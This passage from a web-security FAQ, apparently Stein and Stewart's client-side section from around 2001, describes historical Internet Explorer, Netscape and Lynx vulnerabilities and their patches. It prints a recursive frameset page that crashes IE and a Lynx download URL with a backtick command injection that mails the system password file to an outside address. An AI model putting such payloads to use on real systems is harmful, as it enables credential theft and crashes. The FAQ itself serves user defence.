How can you tell if your password has been stolen in this way? You can't. The malicious URL can be hidden in an image. Unless you examine the source code for every page you download, the image will look no different from any other picture on the Web. Users running non-Windows browsers will see the "broken image" icon -- hardly something to raise suspicions.
What can you do to avoid this problem? Until Microsoft and Netscape correct this bug there's not very much you can do. Your best bet is to choose a good login password. Make it long, and make it hard to guess. One technique is to choose a phrase that is meaningful to yourself but not to anyone else, for example:
blue wire chair too cold in AMNow use the first letter (or the third or last) of each word, creating the password bwctciA. Don't share this password with anyone, and don't use it for anything but LAN login.
Microsoft Internet Explorer 5.5 (Windows 95, Windows NT, Macintosh and Unix versions) suffer from a series of programming flaws related to features. For certificate validation, the CRL check that is performed is flawed and as a result, the certificates expiration date, issuer, and hostname checks could all possibly be improperly validated. For more information, and the patch, see Microsoft's security bulletin.
Since HTML email's are really just 'web' pages, when using IE for email, there is a vulnerability whereby a malicious MIME type could be specified for an email attachment, and upon reading the email, IE would lauch a program unchecked that was included as a part of the email. This would allow a malicious user to send you a program in email that IE would automatically run. For more information, and the patch, see Microsoft's security bulletin.
Since retrieved content is cached, IE retains the information from where it came. IE 5.5 has a vulnerability whereby the location of the cached content can be learned and therefore web pages may be put together that would cause cached content to be launched without being checked as to from where it came. The security mechanisms normally associated with controlling Internet content that is cached are bypassed, and the content run as if coming from the local machine (which is far more permissive). For more information, and the patch, see Microsoft's security bulletin.
Microsoft Internet Explorer 5 and 5.5 (Windows 95, Windows NT, Macintosh and Unix versions) suffer from a series of programming flaws related to features each provides. The HTML Help function relies on help files originally written as web pages, which if altered in some way can then cause malicious programs to run. This
The bug has reared its head several times since January of 1998. The first incarnation, called the "mk" bug, involves the special "mk:" URLs that invoke the Microsoft help system. This bug was patched, but anoother variant reared its head soon after. Then, in April 1998, a bug involving processing the <EMBED> tag was discovered.
This class of bug can have serious consequences. A knowledgeable Web author can exploit this bug to execute arbitrary machine code on your machine without your knowledge. The code can do anything, including installing viruses, tampering with files, or patching your copy of Internet Explorer in order to disable other security features. Changing the browser's security settings or disabling active documents have no effect on these bugs. Fortunately a patch for all known memory overflow bugs is now available at Microsoft's Web site, at http://www.microsoft.com/security/. If you use any version of Internet Explorer through 4.01, you should download the patch and apply it. Another alternative is to downgrade to a Internet Explorer 3.02, which has been around longer and has no known outstanding security issues.
Further information on Internet Explorer's buffer overflow bugs can be found at:
http://l0pht.com/advisories/
This page defines two side-by-side frames, each of which refers back to the original document. When Internet Explorer sees this frameset, it tries to load the document into each of the frames. Then it tries to create subframes within each frame, and sub-subfames within those. This continues ad infinitum until IE runs out of memory and crashes.<HTML> <FRAMESET COLS="*,*"> <FRAME SRC="recursive.htm"> <FRAME SRC="recursive.htm"> </FRAMESET> </HTML>
This type of page can be used to cause an annoying browser crash, but does not otherwise compromise security. Reportedly certain versions of Netscape Navigator are also vulnerable, but the 4.0X series does not appear to be affected.
The problem is the result of a "feature" buried in IE. Shortcut files are ordinarily created by individuals in order to quickly access files and programs on their local machines. If a shortcut file is copied onto a Web server and accessed over the Internet, clicking on a link to the shortcut has the surprising effect of opening a copy of the file (if it exists) on the local user's machine. If the file is an executable program, such as the Windows registry editor or the DOS command interpreter, this can result in potentially dangerous programs being run on the user's computer without his knowledge or consent. It is also possible for a malicious individual to wrap several commands into a .BAT file, arrange for it to be stored in the unsuspecting user's browser cache, and then to have this file executed.
The bug affects both Windows 95 and Windows NT systems, and is present even if the you choose the highest level of security. It is unrelated to ActiveX or Java. In addition to links inside HTML files, the bug affects hot links embedded in newsgroup postings and e-mail messages.
The bug was discovered by Paul Greene, and further researched with the help of Geoffrey Elliot and Brian Morin. You can find further details (including dramatic examples) at http://www.cybersnot.com/iebug.html.
If you are running IE 3.01 or earlier, you are strongly advised to apply a patch provided by Microsoft Corporation, which can be downloaded from http://www.microsoft.com/ie/security/update.htm. After applying the patch, make sure that your copy of IE was correctly updated by selecting "About Internet Explorer" from the Help menu. It should indicate that you are running version "3.01b". With the patch in place, IE will warn you before opening a shortcut file. In general, you should refuse to open any shortcut file downloaded from the Internet.
Here's a simple test of whether you're running a patched version of Internet Explorer. Try to open the link below. If you get a message that warns you that you are attempting to run a binary file and asks you whether to "Open" or "Save" it, then you are using a patched version of I.E. If the Notepad application opens then you have a problem.
file:///C:\WINDOWS\NOTEPAD.EXE
As of 3/14/97, Microsoft's fix also handles the problem of shortcut files attached to e-mail messages and news postings. The original patch did not take care of the latter problems.
On a side note, Microsoft's avowed plan to blur the distinction between the Internet and the desktop has a dark side. When it is difficult to distinguish between untrusted software that originates "out there" and trusted software that lives on the local disk, users can easily be led into making mistakes that open up their machines to a variety of attacks. In my opinion, this strategy is one that is fraught with risks.
A Internet Explorer security FAQ is taking shape at the following address:
Check here for more information about IE security problems.http://www.nwnetworks.com/iesf.html
The Netscape 6 Mail facilities have an undesireable capability whereby an electronic mail containing a specific JavaScript attachment would cause the recipient of the message to be copied on all forwarding of the message. This is fixed in Netscape 6.01.
Brown Orifice (named after the famed Black Orifice) is an exploit whereby a specific Java applet downloaded to the Netscape browser causes the browser/computer to act as a web server listening on a particular port. The result: your machine would be able to server up directory listings and file contents purely because you visited a malicious web site. Netscape released Communicator 4.76 to fix this problem.
Currently the only known bug involves the bookmark file. Netscape Communicator allocates a fixed size buffer to hold the titles of bookmarked pages. If a page has an unusually long title and you bookmark it, Netscape will crash the next time you try to access that bookmark. Like the Internet Explorer bugs, this hole could be used to trick the browser into executing arbitrary code.
It is not known at this time what versions of Netscape are vulnerable. Versions 4.03 and 4.04 on Windows 95 and NT systems are known to contain the bug. The status of the Macintosh and Unix ports is not known. Currently there is no patch for this bug (April 13, 1998). However you can avoid it by examining pages carefully before bookmarking them. If the page has a title that is unusually long or contains strange characters, you should be suspicious.
Syslog information sent from Lynx, in this development release, can include embedded passwords (say, a request for ftp://jns:foopassword@ftp.test.com). The fix was inserted for dev 9, which is far older than the 2.8.3 release candidate and therefore you should upgrade to 2.8.3rel1.1
LynxDownload, 2.7.1
Versions of Lynx through 2.7.1 contain a very ugly hole that allows a Web author to execute arbitrary commands on the user's machine, simply by crafting a LYNXDOWNLOAD URL containing backtick characters. For example, selecting this URL will cause the contents of the system password file to be mailed out across the Internet:
This is an example of failing to check user-provided parameters for the presence of shell metacharacters, a problem that has plagued CGI developers for years.< a href="LYNXDOWNLOAD://Method=-1/File=`mail%20hackers@hack.com%3C/etc/passwd`/SugFile=test"> CLICK HERE </a>
Upgrade to a more recent version of Lynx as soon as you can.
These words of warning apply also to the macro worksheets generated by popular PC spreadsheet programs. Although it seems natural to declare a type "application/x-msexcel-macro" in order to receive spreadsheets that automatically recalculate themselves, some of the functions in the Excel macro language have the potential to inflict damage on other worksheets and files. These warnings even apply to such seemingly innocuous things as word processor style sheets and template files! Many high end word processors have a built-in macro processing ability. An example of the way in which word processing macros can be misused is the Microsoft Word "prank macro", which has the ability to spread, virus-like, from document to document.
I have heard of at least one individual who decided he'd only be using
the C-shell to download scripts written by himself and other trusted
parties. He screened all URLs by hand to make sure they didn't end
with a .csh extension before downloading them.
Unfortunately the file extension is not a reliable way to determine
what a URL contains. The type of a document is determined by the Web
(HTTP) server, not the browser, and a document of type application/x-csh
can just as easily have an extension of .txt or no
extension at all.
In short, beware of declaring an external viewer for any file that contains executable statements.
This security problem is addressed by scripting languages as Java and Safe Tcl in which dangerous functions can be disabled. There's even a prototype "Safe Perl" that can be used as a safer external viewer for perl programs.
|
Up to Table of Contents | ||
|
Back to General Questions | Forward to Server Side Security |
Lincoln D. Stein (lstein@cshl.org) and John N. Stewart (jns@digitalisland.net)
$Id: wwwsf2.html,v 1.6 2001/07/28 17:54:26 lstein Exp $